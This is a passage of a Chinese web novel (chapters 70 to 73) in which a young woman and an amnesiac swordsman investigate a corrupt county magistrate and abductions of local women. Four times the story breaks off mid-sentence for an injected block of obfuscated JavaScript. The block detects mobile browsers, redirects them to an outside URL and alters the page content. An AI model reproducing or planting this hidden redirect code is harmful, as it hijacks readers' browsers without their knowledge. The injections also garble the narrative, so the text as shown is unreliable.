他以为带够了人手,就能轻易拿捏一个在外多年的孤女。 只是他想错了,对方并不是一个任人搓揉的弱女子。 昭意冷声道:“让你的人退下!” 脖颈处的力道还在加重,秦明川咬紧牙关,良久,才道:“听她的!” 士兵们在遇上珩则这个难敌的对手,又见到秦明川自己冲出来被挟持后,巴不得早点结束这场交易。 而且钱已到手,他们没必要为了个县令公子犯险。 士兵离开的速度很快。 待所有士兵都离开竹林后,昭意才将剑从秦明川脖子上撤下。 秦明川立即用手捂住脖子,就摸到了一手的鲜血。 他身子一抖,就要跪下去,只是这会儿身边没有人搀扶他,就算是腿软了,他也强迫着自己不在昭意面前跪下去。 他悻悻地看了昭意和珩则一眼,跌跌撞撞朝着外面跑去。 待要跑到竹林边上了,秦明川转过身来,大喊了一句,“活该你没人要!” 说罢,立即转头,撒腿就跑,似乎后面有鬼追着他一般。 昭意看着秦明川消失的背影没有说话。 忽而她觉得身边的人一晃,她连忙拽住珩则的袖子。 昭意朝他摇了摇头,“没事,不用追。” 珩则看着昭意眼里一闪而过的失落,轻轻抿了抿唇,收回了脚站到她身边。 昭意却眼尖地看到珩则手里的一片红。 她一愣,拉过珩则的手,只见他手心里横着许多道剑痕,血从缝隙中一点点滲了出来。 “你……” 昭意心中一热,恍然想起,方才是他将手里唯一的武器送到了她手中。 刚才他手中没有剑,只能靠手来挡。 “昭意!” 繁清终于挣开了万里的束缚,朝着昭意跑过来。 她拽过昭意的肩膀上下打量着她,看到她被划破的衣服,忍不住红了眼睛。 昭意轻声安慰繁清,“我没事。” 她又看向后面的万里,“可否请你帮阿择看一看手伤?” 万里看了眼珩则的手,点了点头。 因为平日里会有些大大小小的擦伤,昭意就在竹楼里备了药,正好可以让万里为珩则治伤。 万里和珩则在房间里包扎着,昭意和繁清搬了长凳过来在外面坐着。 繁清不放心,拉着昭意上上下下看了一遍,最后摸着她被削了一截的几缕头发哭泣。 “你还是跟我回去吧……至少他们不敢明目张胆地来沈府抢人。” 昭意拍了拍她的肩膀,看着满院的狼藉沉默。 片刻后,万里从屋里走了出来。 他站到两人旁边,道:“今日秦公子带来的人,似乎是军营里的。” 繁清一愣,“你怎么知道?” 万里看向她,“看他们的身手和出手习惯,和我见过的老兵很是相似。” 繁清暗骂了一声,“狗官,都勾结上驻军将士了,看来都不是什么好东西!” 昭意闻言,心中却一动。 她转过头,问万里,“你是说,秦明川买通了驻军将士?” 万里点头,“有这个可能。” 昭意蹙眉,细细思索着。 旁边的繁清一头雾水,“然后呢?” 昭意抬头,道:“我想去一趟木沧县。” 珩则从屋里出来时,正好听到她这句话。 他一愣。 繁清欢喜地拉过昭意的胳膊,“太好了,我就让万里送信去。” 昭意却对着她摇了摇头,“我不能去沈府。” 繁清的欢喜僵在了脸上,“为何?” 她看着昭意,突然觉得这样的昭意似乎离她远了一些,她更用力地握紧了昭意的手。 昭意站了起来,她看向外面,沉默许久,才对身边的好友道:“我在想,若秦明川都能如此大胆地买通驻军将士,那县令老头会不会也做过些见不得人的事情?” 繁清一愣,“你该不会是想……” 昭意道:“我在这山上也躲了十多年了,原以为避让能换来宁静的生活,但是没想到我都躲得这么远了,他们还能找上门来。” 她拽紧拳头,愤愤道:“他们一家子欠我和我娘的桩桩件件,我可一直没忘。若有机会,我定要扳倒那虚伪的一家!” 繁清缓缓站了起来,走到昭意面前,握住她冰凉的手,“若是可以,我是想劝你放弃的,因为与一县之长对上,这条路注定会很难走。但是我又知道这是你的夙愿……昭意,若我能帮得上忙的,一定要告诉我。” 昭意眼眶一酸,朝繁清一笑。 但是她并不想麻烦繁清。 这条路必然充满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063870|127974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了危险,她不想给好友带来危险。 身后隐约传来脚步声,昭意回头一看,正好与珩则的视线对上。 珩则在屋中静静站了许久,他一出来,就看到了昭意眼中还未散去的水雾。 昭意用手擦了擦眼,“我要下山一段时间,这段时间你便一个人住在这里吧,如果我一直没回来……” 她对珩则一笑,“那你就是这竹楼的新主人了。” 昭意扭头,看向外面的院子,“真好啊,白捡一这么大的院子,我以前可没有这么好的运气。” 她正感慨着,却听旁边的竹椅“吱呀”一声被人挪开了。 珩则站到了她旁边,便头对她道:“我同你一起去。” 大概的情况他也在房里听了个七七八八。 昭意瞪大了眼,“你去做什么?” 珩则思索一番,目光落在了院里的厨房上。 他一笑,“若我一人在这里,这竹楼迟早会被我烧了。” 昭意顺着他的目光看向了厨房,想起那日的光景,不禁轻咳一声。 珩则道:“而且,有我在,你会多几分胜算的吧。” 确实如此。 今日之前,她都不知道珩则还有这等身手,莫不是他失忆之前真是个绝世高手? 昭意抬眸悄悄打量着珩则,却正好与他的视线撞上。 他微微垂着眼,眼中似乎带着一丝笑意看着她。 昭意一呆,她又听到了自己心跳的声音。 她连忙移开目光,“若……若你非要去,就一起吧。” 眼前的姑娘偏过头,垂下眼遮住慌乱的眼神,以为这样就能遮着自己的情绪。 但是珩则能听到她跳得剧烈的心跳声,每一下都像鼓点一样打在他心上。 珩则低笑一声。 然而两个人中间却不适宜地插进一个脑袋。 繁清目光在昭意和珩则两人之间来回移动,惊疑道:“你们……?” 话未说话,就被身后的万里一拽。 繁清瞪着万里,“你拉我做什么?” 万里轻咳一声,没有说话。 回过神来的昭意连忙拉过繁清,“我打算明日就下山出发,你同我来一起收拾东西。” 繁清看了珩则一眼,又看着昭意,“我刚刚想问……” 昭意又打断她,“木沧县有什么好吃的好玩的,你倒是给我说说呗。” 一提到这个,繁清就很是欣喜,日后昭意去了木沧县,那两人见面就很容易了。 于是繁清就像打开了话匣子一般,叽叽喳喳地和昭意说个不停。 听着繁清似乎已经忘却了先前的事,昭意松了口气,在房里收拾起行李。 繁清在旁边叽里呱啦地讲着。 昭意叠了几件衣服,突然停了下来,抬起手摸向自己胸口。 感受着从指尖传来的跳动,昭意有些失神。 她很少有这么失态,不知道为何,有时珩则一个眼神,或是一个动作,就能让她的心跳失去控制。 “昭意,你有没有在听我说话!” 繁清伸手在昭意眼前晃了晃。 昭意回过神来,朝她一笑,“好,等去了木沧县,就让沈大小姐带我见见世面。” 71. 第 71 章 打探 木沧县其实算不上很大,但对于周围的小镇来说,木沧县是最热闹的地方了。 一辆牛车里载了四个人。 牛车进城时,昭意抬头往外看了一眼。 十几年前,她就是从这个大门跑出去的。 那是她也分不清东西南北门,就一直跑,好在当时守门的侍卫喝酒去了,没人看着门,才能让她直接跑出去。 一晃十多年过去,她又回到这个地方了。 昭意隐约记得一些小时候的记忆,但在这木沧县里,大多都是不好的记忆。 手被轻轻覆盖住,回忆也被打断了。 繁清握住了昭意的手,朝着昭意笑了笑。 昭意心中一暖。 牛车停在了一处小院前。 昭意和珩则下了车。 繁清拉着车帘,探出脑袋,“这是我娘送我的院子,平日里很少来,也没人知道这是沈家的地产,你就放心去做自己想做的事情吧,不用担心牵连到我们。” 昭意朝繁清感激一笑,“谢谢你,繁清。” 繁清撅嘴,“跟我还这么客气。” 车里传来万里的催促声,繁清只好和昭意挥挥手,坐回了车里。 牛车幽幽驶出了巷子。 繁清择的这处院子虽小,但也一应俱全。 院子中间有个小池子,上面架石桥,通向了正屋。 昭意步上石桥,瞧着泛着涟漪的水中倒映着自己的模样,调侃道:“不愧是沈家的大小姐,这么好的宅子也搁着不住。” 她蹲了下来,用手划过水面,待水面再次平静下来时,她的倒影旁就多了一抹白色的身影。 珩则看着她,目光又跟着她的视线落到了水池上,“待回去后也在我们院里挖个水池子。” 昭意笑着摇头,她抬头看向珩则,“我们那地势高,山上也没有可以引来的泉水,恐怕不行。” 珩则闻言,手指摩挲着下巴,竟真的思索起来如何在院里挖个水池子。 昭意站起身来,向屋里走去。 “大宅子可真好啊。” 昭意一想到自己那摇摇晃晃的小竹楼,顿时知道为何繁清每次来都觉得那竹楼要倒了。 珩则跟在昭意后面,眸光一动,认真道:“日后将那县令的宅子夺来,我们一起住进去。” 昭意噗嗤一笑。 她只当珩则开玩笑的,毕竟想要撼动稳居县令之位多年的人,实在是太难了。 而且这次下山,她也没有百分百的信心确定一定能成功。 于是昭意打趣道:“县令那住了十多年的宅子有什么好抢的?若是要抢,不如抢个皇宫来。” 珩则有些疑惑,“皇宫?那是什么地方?” 昭意一顿,她摸了摸下巴,“就是皇帝住的地方。” 说起来,她也不是很清楚皇宫是什么样子的。 因为常年居住在山上,昭意对除了山脚那个镇子外的地方都不是很了解,皇宫这个词也只在话本和繁清嘴里听说过。 “皇宫约莫就是天下最大,最豪华的屋子。” 昭意说着,“啪”地一声推开了房门。 里面摆放得整整齐齐的物件很快就吸引了昭意的注意力,她踏了进去,好奇地打量着日后要居住的地方,将刚才说的话抛之脑后。 而身后的珩则却垂眸沉思着,一脸认真。 * 近日县里有件怪事,县里的女子总是莫名其妙地走丢,说是走丢,但百姓也知是被人掳走了。 所以这几日街上已经很少能见到有女子出门了。 县里最鱼龙混杂的地方就是酒馆,当然,这里也是消息最灵通的地方。 头顶昏暗的灯摇摆着,里头一片嘈杂喧闹。 光着膀子的汉子坐了好几桌。 他们有的人是刚从码头搬货过来的,有的是在大户人家里干了一天苦力过来的。 大家来自不同的地方,谈起的话题也是杂七杂八的。 老板拎着几坛酒罐,往客人桌上一放,就要赶去送别的桌。 有人看他忙前忙后的,立刻喊住老板,疑道:“曹老头,媛娘这几日都不来酒馆么?” 媛娘便是姓曹老板娶的娘子,两夫妻一同经营着这家酒馆已有十多年了。 平日里都是两人一起忙活着,这几日似乎只见到曹老板。 曹老头苦笑一声,“这不最近风头紧吗?让她在家待几天。” 喝酒的人就笑道:“媛娘三十多了,娃都两三个了,还怕有人惦记啊?” 曹老头道:“不怕一万就怕万一,若人真的丢了,哭都哭不回来!” 正说着,后头又有客人在催曹老头送酒。 曹老土摆摆手,不再聊,赶紧送酒去了。 喝酒的客人中,有人猛饮了一杯酒,叹道:“这几天我也不敢让我家娘子出门了。” 说起来,还是近日城里女子会莫名消失的事。 有的人消失了几天,就被送了回来,一问被送到哪里去了,本人竟也不知情。 只道被蒙了眼,坐车去了很远的地方,转悠了一圈,又被送回来了。 也有人消失后,就再也没有回来。 桥头那个卖鱼的老汉家就是,他家里有个长得很水灵的姑娘,有一晚走夜路失踪了,就再也没有回来。 因着这事,许多人家去报官,衙门倒是受理了,街上也有了巡逻的官兵,只是城中女子丢失的事情却一直没有得到解决。 于是大多数百姓只能让家里女眷待在家里,至少这段时间是不能出门的了。 “呸!什么怪事,都是上面人搞得!” 一位男子大喝一声,他脖子通红,双眼充血,一看就是喝多了。 旁边的人立即凑近他,“王哥,我们这里就你消息最灵通,你说说这是什么事呗。” 听这么一问,别的人也好奇地凑过脑袋去。 王姓男子冷哼一声,指了指上面。 在场的人疑惑不解。 有一人看出了王姓男子的意思,冷笑一声,“还能是谁,姓秦的呗。” 这木沧县里姓秦的,也就县令一家。 “若是这老泥鳅,倒是不奇怪了……” 有人喃喃一声,举起酒杯仰头一饮。 顿时一桌子的人都陷入了沉默。 王姓男子重拳一握,高高举起拳头,在要砸到桌子上时,又轻轻放了下来。 他长叹一声,“这日子,何时是个头啊。” 接着,他一杯接一杯地痛饮起来。 旁边曹老头拎着酒壶匆匆而过,撩起帘子走向里间,“客官您的酒……” 话音未落,他就看到了桌上两罐连盖子都没被掀开的酒。 他一愣,快速打量了里面的人一眼,这房里坐着两个男子,一个瘦弱身材矮小,一个长得十分俊美。 曹老头做了这么多年的生意,立即明白了眼前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100452|127974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人并不是真的来喝酒的。 他立即笑道:“实在抱歉,走错了走错了。” 说着他回身撩起帘子就走,还不忘让坐在旁边一桌的客人们声音小声一点。 外面谈论的声音淡了下去,有些听不真切了。 昭意转着桌上的空酒杯,“那老板也是人精。” 珩则笑了笑,夺过她手中的杯子,掀开酒罐盖子,往酒杯里倒了一点酒。 “钱都付了,不喝一口?” 珩则将杯子推了过去。 昭意从未喝过酒,她凑近酒杯,嗅了嗅,立即捂着鼻子躲开。 “还是你来吧。” 外头传来划酒拳的声音,昭意盯着那杯宛如毒药的酒,“真不知这玩意儿有什么好喝的。” 珩则也往自己杯中倒了一点酒,他轻抿了一口。 昭意看着他,“如何?” 珩则抬眸一笑,“还成。” 昭意有些怀疑地看向自己的酒杯。 毕竟从未喝过酒,昭意心中多少是有些好奇的,她见珩则喝了也没什么问题,她便端起酒杯试着喝了一口。 辛辣的味觉顿时充满了整个口腔。 昭意脸都皱起来了,她想要找水来喝,但是偌大个酒馆,除了酒,就只有酒了。 “你不是说还成吗?” 昭意觉得自己的喉咙在燃烧。 她瞪向珩则,却见他目光带笑,才知自己被耍了。 只见珩则又倒了一杯,举起酒杯,一饮而尽。 他便头看向她,“确实还成。” 昭意抿了抿唇,有些恼怒。 房里没有水也没有茶,她只好等着那不适感自己淡下去。 昭意不想和珩则说话,就用手托着脑袋,偏着头试图再听一听外面的人讲话。 只是外面的人被老板提醒后,说话声音就一直很小,听得她都有些困了。 没有再听到有用的消息,珩则问:“今日一探,可有什么想法?” 珩则问了话,却没听到回复。 他偏头看去。 昭意已经手撑着脑袋,已经闭上了眼,眉头还紧皱着。 珩则微微惊愕,随即一笑。 他就这么看着她,片刻之后,才举杯一饮,才轻轻走向桌边的人。 外头一桌的人在小声谈着一天的工钱有多难赚,谈着大户人家那些离奇传闻。 自从刚才曹老头暗示了他们后,他们就不敢再大声说话了。 这场的人谁不是出来混了多年的,自然看出了曹老头的暗示了。 正谈得欢快,就见里面那屋的人掀了帘子走了出来。 一桌子的人突然安静了下来。 只见一个男子背着另一个身形瘦弱的男子,背上的人似乎醉得不轻。 那男子走出来后,只淡淡看了他们一眼,就背着人出门去了。 还是王姓男子哈哈一笑打破了僵局,他拍了拍桌,“原来是两个断袖,偷偷摸摸躲在里面,吓死老子了!” 其他的人也是松了口气,再饮了几杯酒压压惊。 虽然已经走出很远了,但后面那些话还是一字不落地传进珩则的耳朵里。 这些人说话很直接,听着多少有些刺耳。 珩则微微蹙了蹙眉。 只是听着背上人轻轻的呼吸声,珩则叹了口气。 罢了。 他一步一步,稳稳当当地朝着小院的方向走去。 72. 第 72 章 作画 昭意是日晒三杆那会儿才醒的。 她睁眼看着窗外的阳光明媚,脑子里糊成一团。 昭意爬了起来,从窗户望出去,正好能见到院子里的光景。 她便看到珩则在外面架了个桌子,提笔写着什么。 昭意整理好了衣服,才朝外走了过去。 看着珩则十分专注的模样,昭意放轻了脚步,生怕打扰到他。 待走近了些,昭意探头一看,洁白的纸上画了一栋竹楼。 十分眼熟,仔细一看不就是苍山的小竹楼嘛。 只不过不一样的是,画上的竹楼前多了个水池。 “醒了?” 珩则画下最后一笔,一张带着水池的竹楼设计稿就成了。 他将笔搁回架子上,偏头看向昭意。 见她双眼有些迷离,似乎在看他,似乎又不在看他。 听到他的声音后,昭意的目光才从纸张上挪开,茫然地看着他。 珩则见她这样,就知她酒还没醒。 “头疼吗?” 轻柔的声音在耳畔响起,昭意垂头看着珩则一张一合的嘴巴。 说来有些奇怪,珩则问话之前,她没觉得有什么不适之处,珩则问她之后,她真觉得脑袋有些晕乎乎的,连反应似乎也慢了几拍。 待珩则转身,昭意才回过神来,只是珩则已经走进屋里了。 她只好将目光投向桌子上雪白的纸张。 图画旁边还标了几串小字,既没有龙飞凤舞得看不清字迹,又没有太过端正显得呆板。 但是这样的字一看就是从小认认真真练习起来的。 昭意抽了一张空白的纸,她先纠结了一会儿怎么拿笔,而后拿起笔,用颤颤巍巍的笔尖在纸上落下一个弯来扭去的字。 她对比了一下两人的字迹,长叹一声。 “你在做什么?” 头顶上方传来一道声音。 昭意抬头看去,珩则不知什么时候就站到了她身后。 他正微微俯身,盯着她手里的两张纸。 “没什么。” 昭意一窘,就要将自己写的那张纸揉成一团。 只是还没揉几下,纸就被另一只手按住了。 珩则拿过那纸,用手撑展开。 昭意伸手就要抢过来,“瞎写的,别看了。” 只是没有拿到纸,手里却被塞了一碗汤。 见昭意一脸疑惑,珩则道:“醒酒汤,你不是头晕吗?” 原来刚才他是捣鼓这玩意儿去了。 昭意喝了一口,带着些微甜,比酒好喝多了。 若说珩则有什么让她觉得十分佩服的地方,便是他学什么都很快。 之前还有烧了厨房的可能,后来不过看她做了几回饭,便触类旁通,也会自己研究新菜品了。 先前昭意还觉得他不去大户人家给人烧饭可惜了,如今一看他的字画,他不去当夫人将人读书写字才是可惜了。 珩则问:“怎的突然想练字?” 昭意喝汤的动作一顿,看了桌上那张工整的字画一眼,语气中略带羡慕,“你这字画作的可真好。” 珩则看了一眼那张设计图,现在墨已干透。 “先前说的在竹楼造池子一事,我觉得未尝不可。闲来无趣,便随意画了几笔练练手了。” 昭意看向珩则的“随意一画”,犹豫一会儿问:“你可有想过寻一寻你以前的亲人?” 珩则动作一顿,“找他们做什么?” 昭意看着他的目光,不自觉地抿了抿唇,“就是……瞧你气度不凡,又能写一手好字,作一幅好画,恐怕不是什么平凡人家。” 她眼神一转,直直地对上珩则,“或许回到以前的亲人身边,你会有更好的生活呢?” 回木沧县这事,说到底也是她自己事,万一到时候失败了,还会给珩则带去危险。 珩则却一笑,在她旁边坐下,“我是个随遇而安的性子,现在的生活,我就挺喜欢的。以前的人,若有缘,必然还能再相见。若见不到,就这样过完一生也未尝不可。” 他垂眸看着手中写着弯弯扭扭字的纸,看久了甚至觉得有几分可爱。 珩则冲昭意一笑,“你若想学字,我教你?” 他的瞳孔在阳光的照射下显得尤为清澈,笑意似乎也更暖了几分。 昭意又听到了自己咚咚咚的心跳声。 她呼吸一紧,觉得脸上渐渐染上了热意。 手一抖,差点打翻搁置在桌上的碗。 她偏过头,眼神飘忽,看着装着醒酒汤的碗,突然像抓到了救命稻草一样,结结巴巴道:“昨日……昨日查到哪儿来着?” 她慌忙地回忆昨夜的事情,脑袋却一片空白。 珩则见她这样刻意回避,只能垂眸掩盖住眼里的一抹失落。 没等珩则说话,昭意就想起来了。 “可惜昨日暴露了,没有听到更有用的消息。” 她回想了一遍昨日的情形,按着自己的胸口道:“当时那群人一提到县令老头,就不说话了。这些人定然知道别的隐情。” 别看现在昭意表面上镇定,实则心脏一下下撞着她按在胸口上的手指,似乎拼了命要撞出来一般。 珩则颔首,“只是再像昨日那样去打听,肯定行不通了。” 经过昨日的事,若两人再去,必然会让他们提起防备心,到时候打听到的消息是真是假都很难说。 昭意不语,但也知道珩则说的有理。 不过珩则又拿起桌上的白纸,思索一会儿,“有句俗话说,有钱能使鬼推磨。” 昨日那酒馆里的人,大多数都在为生计奔波,想必是很缺银子。 昭意一手撑着脑袋,一手摊开,手心空空如也,“可是我们也是很缺银子的人。” 哪里还有多余的银钱去买鬼推磨? 珩则一笑。 昭意顺着他的目光看过去,一愣,“莫不是你想去卖画?” 珩则点头。 昭意抿了抿唇,“那我同你一起去,我虽不懂字画,但也能在旁边帮衬一二。” 然而珩则却拒绝了,“不必,我自己去便是。” 他道:“近日县城中女子丢失的事还时有发生。” 珩则的目光落在昭意脸上,昨日昭意虽稍作乔装,远远看着倒是能以假乱真。可是这上街卖画,免不了要和别人近距离接触,就会有暴露的风险。 昭意却不以为意,“这有什么?若真有人来绑我,还得看他打不打得过我。” 她向来一个人,要强惯了,以往什么事都是靠自己的,还从来没有只靠着别人做事的习惯。 珩则却依然坚持,“不可。” 他站起身来,看了昭意一眼,“你就在这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100453|127974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等我回来就好。” 说罢,便收拾起笔墨来。 毕竟卖的是珩则作的画,他既不同意昭意去,昭意也不好强求他。 珩则收拾着纸张,突然一张白纸悄然从他手中滑落,掉到地上。 珩则一僵,立即就要弯腰下去捡起来,那纸却先被昭意拿到了。 昭意弹了弹背面的灰尘,“这么好的画,可要妥善保存……” 她不经意间将纸张翻了过来,向珩则递去的手一顿。 白纸上只画着一女子,似乎在庭院里嬉戏。 细细看去,似乎还有些眼熟。 昭意微微眯眼,认真地打量着,忽而觉得画的有几分像她。 她飞快地瞟了一眼珩则,又突然紧张起来,“这……这画上的人……” 珩则眼中也有几分不自然,默然接过昭意手中的纸张。 他看了一眼局促不安的昭意,心中轻叹一声,淡声道:“这画还未作完。” 说着,他将纸张平铺到桌上,又取了笔来,轻沾墨汁,提笔在纸上画起来。 珩则落笔行云流水,不一会儿,画上女子旁边就多了另一人。 昭意探头一看,认出了上面的人,“这是繁清吗?” 珩则颔首,搁了笔。 “练人像时,不知找谁为参考,便画了那日竹楼时的景。” 原来如此。 昭意大大松了一口气,突然觉得肩上沉重的负担都消失了。 她拿起那幅画,看向珩则,“阿择,这画能不能送给我?” 生怕珩则不同意似的,她赶紧道:“回头到苍山上多猎几只彩尾鸡给你。” 主要是昭意很少得到字画,而且还是画着她和繁清的画。 珩则除了字好,画技也不错。 方才他随意几笔,就能将画中的人画的活灵活现的,昭意实在喜欢。 珩则点了点头。 他看着昭意松了一口气的模样,说话也不如先前那般拘谨,面上笑了笑,心里却有些复杂。 昭意收下画,珩则也收拾好了笔墨,他转身便回房了。 她看着珩则的背影,深深吸了一口气,暗念了几句美色误人,才压下胸膛里跳得欢快的心。 和珩则接触的这几次以来,她也逐渐明白了那种心悸是什么。 只是且不说她娘的前车之鉴就摆在那里,昭意觉得珩则的身份必然非富即贵,日后待他会想起过往,恐怕嫌弃她这个山野孤女还来不及呢。 昭意长叹一口气,望着枝头上叽叽喳喳的两只小鸟,阳光下,两只小鸟依偎在一起,为彼此梳着毛。 她一笑。 思来想去,还不如早日干掉县令那一家子来得实在。 * 次日,珩则早早的就出门了。 昭意听到动静后悄悄掀开窗户的一角,刚好见到珩则关上门。 她立即爬了起来,坐到镜子前往自己脸上摸着蜡黄的汁液。 昭意昨日是答应了珩则不跟着他去卖画,可又没答应他不出门。 她换上男装,走到院子前一推门,却没推动。 珩则从外面将门锁了。 虽然两人相处了这么久,但是珩则还没那么了解她。 昭意看着比她高不了多少的墙头,轻笑一声。 她纵身一跃,手撑着墙头轻轻松松就越到另一边去了。 73. 第 73 章 胭脂 就算是白日里,在街上也不怎么能见到独自行走的女子。 昭意打量着街上的行人,除了没怎么见到女子外,其他的似乎还比较正常。 蓦地,她目光落到前方的一家店铺上。 这是一家胭脂店。 昭意走到店门前,看到柜台那坐着一个少年正提笔记账。 他见到昭意走了进来,似乎有些意外。 “客官……” 少年刚站了起来,话还没说完,就见屋里面掀开帘子走出了一个女子,身着红色衣裙,眼角上调,头上戴着几支花簪。 那女子见到昭意,先是一愣,目光在昭意脸上一扫,嘴角微微带笑。 她对少年道:“小宝,记你的帐。” 少年“哦”了一声,慢慢坐回柜台前,只是眼睛还时不时偷偷看着昭意。 女子走到昭意身边,微微一笑,“这位小公子,是来给家中母亲还是心上人买胭脂的?” 这女子的打扮,若是放在平常是再寻常不过的。 只是在这人人都将女眷藏在家中,唯恐女子被掳了去的特殊时期,竟然还有人穿着这般艳丽的衣服出来做生意,属实有些不同寻常。 而且这女子虽面带微笑,却叫昭意感受到了一丝隐隐的压迫感。 昭意道:“舍妹生辰快到了,路过见到这里有家胭脂店,便进来询问一二。” 女子红唇一勾,“小公子可是来对地方了,我这里可是全县最好的胭脂店。” 说着女子就给昭意介绍各种胭脂水粉。 趁着女子说话间,昭意暗暗打量着这间小店,看上去似乎也没有什么特殊之处。 她的目光落在了女子走出来的地方,那里垂着帘子,挡住了视线。 “小公子怎的了?可是我这胭脂不够入你的眼?” 昭意心中一惊,对上了女子似笑非笑的眼神。 她连忙笑道:“非也,这店里的胭脂甚好。” 女子接着问:“那小公子可要买两盒?” 说这,女子推了两盒胭脂给昭意。 昭意一瞥,见到旁边标的价格,手差点一抖。 也不知这小店的胭脂里放了什么特殊秘方,她若真的买了这小小的两盒胭脂,恐怕得让她负债累累一段时间了。 而且她也不是真的来买胭脂的。 昭意干笑一声,将胭脂盒推了回去。 “谢过老板娘美意,只是小生囊中羞涩,实在拿不出这点银两,抱歉。” 女子也不恼,朝着她一笑。 昭意转身欲走,只是心中纠结一会儿,又回头问道:“老板娘可曾听说过城里的传言?” 女子一脸淡然,“什么传言?” 不等昭意说话,她又一歪头,恍然道:“哦,可是那个城中女子无故消失的事?” 昭意点头,暗暗打量着女子,“老板娘……不避避风头吗?” 女子却冲昭意一笑,她俯身贴近昭意,低声道:“那你呢?不避避风头吗?” 昭意瞠目,良久才道:“原来您早就知道了。” 她摸了摸自己脸上的妆,难道真如珩则所说,这妆容从近处真的很容易被看出来吗? 女子瞧着她一脸紧张,笑道:“虽然你的妆化的甚好,不仔细看确实看不出来。但好歹我开这胭脂店十几年了,什么样的人没见过,自从你踏进这店的第一步,我便知晓你是个女子。” 昭意愣了愣,还欲再问,就听外头传来一阵嘈杂声。 循声望去,正好见到一个扎着辫子的小姑娘摔倒在地,手里死死捂着一袋东西。 一男子收回踹倒小姑娘的脚,俯视着扫了她一眼,“把东西都交出来,我现在还能放你走。” 小姑娘却死死抱着怀里的东西,瞪着男子,扬声道:“不给!这是我姐姐的东西,我凭什么不能拿回去!” 住在附近的人家听到动静,纷纷探出头来,见到这一幕,对着男子指指点点。 琐碎的议论声飘进男子的耳朵,他面色不佳,道:“你有何证据证明这是你姐姐的?” 小姑娘紧紧抿着唇,半晌才憋出来一句,“我姐姐跟我说的!” 男子哈哈大笑,指着小姑娘,“满口谎言!既拿不出证据来,你这就是偷!” 他大喝一声,“拿来!” 说着大手就朝小姑娘袭去。 小姑娘抱着怀里的东西往后一缩,紧紧闭上了眼。 男子的手却没能落到小姑娘身上。 昭意站在小姑娘身边,抬手接住那即将落下来的巴掌。 她抬眼,看着男子,“这位兄台,火气有些太大了吧?” 站在店里的女子见状,看着昭意微微眯眼。 男子一见昭意瘦瘦弱弱的,个头都还没他高,心生蔑意。 “干你何事!” 说着要将手抽出来,他猛地一拽,却没能抽动,反而差点摔倒。 男子瞪大了眼,重新审视着昭意。 昭意朝他一笑,这才松了手。 她将地上的小姑娘扶起来,小姑娘一动,怀里包袱露了一个角出来。 昭意垂眸看到了里面的几块银子。 小姑娘戒心强得很,虽然昭意前一秒才帮了她,这会儿她见昭意瞧见包袱里的东西了,连忙将东西捂上,警惕地看着昭意。 昭意朝她安抚一笑。 身后的男子沉声道:“要我放了这丫头也成,将东西交出来,我就放你们走!” “不成!” 小姑娘像个带刺的刺猬,吼道:“我姐姐的东西,凭什么给你们!” 男子面上一僵,愤愤地握了握拳。 昭意目光在两人之间来回移动,她瞧着这小姑娘脸上的神情不似作假。 她垂头轻声问:“你跑得快吗?” 小姑娘一愣,没反应过来,“什么?” 昭意抬眼看向男子,笑了笑。 下一刻,昭意就将小姑娘拦腰抱起,脚下蹬地,飞快地朝着街头跑了。 看热闹的众人也没想到局势是这个走向,有些哭笑不得。 那男子更是,他都活动好筋骨准备与昭意大干一场了,却没想到对方是个怂的,撒腿就跑。 等他想起来要去追时,人早就跑远了。 胭脂店门口的女子捂嘴轻笑一声,对旁边的少年道:“小宝,下次再见到这人,叫她来见我。” * 昭意在街道上四拐八绕,跑了好远,确定身后的人追不上后,才将小姑娘放了下来。 没想到这小姑娘抱着包袱就往后缩,“你想干什么!” 昭意连忙摆手,后退几步让她放心,“我没有恶意,你家在哪?我送你过去吧。” 这个特殊时期,让她一个人回去,昭意也不太放心。 小姑娘乌黑的眼珠子一转,看着昭意确实有几分像好人,仰着脑袋便道:“你送我去桥头便是。” 昭意觉得有些耳熟。 但还是陪着小姑娘朝桥头走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116587|127974||http|test|mini|href|location''.split(''|''),0,{})); () { 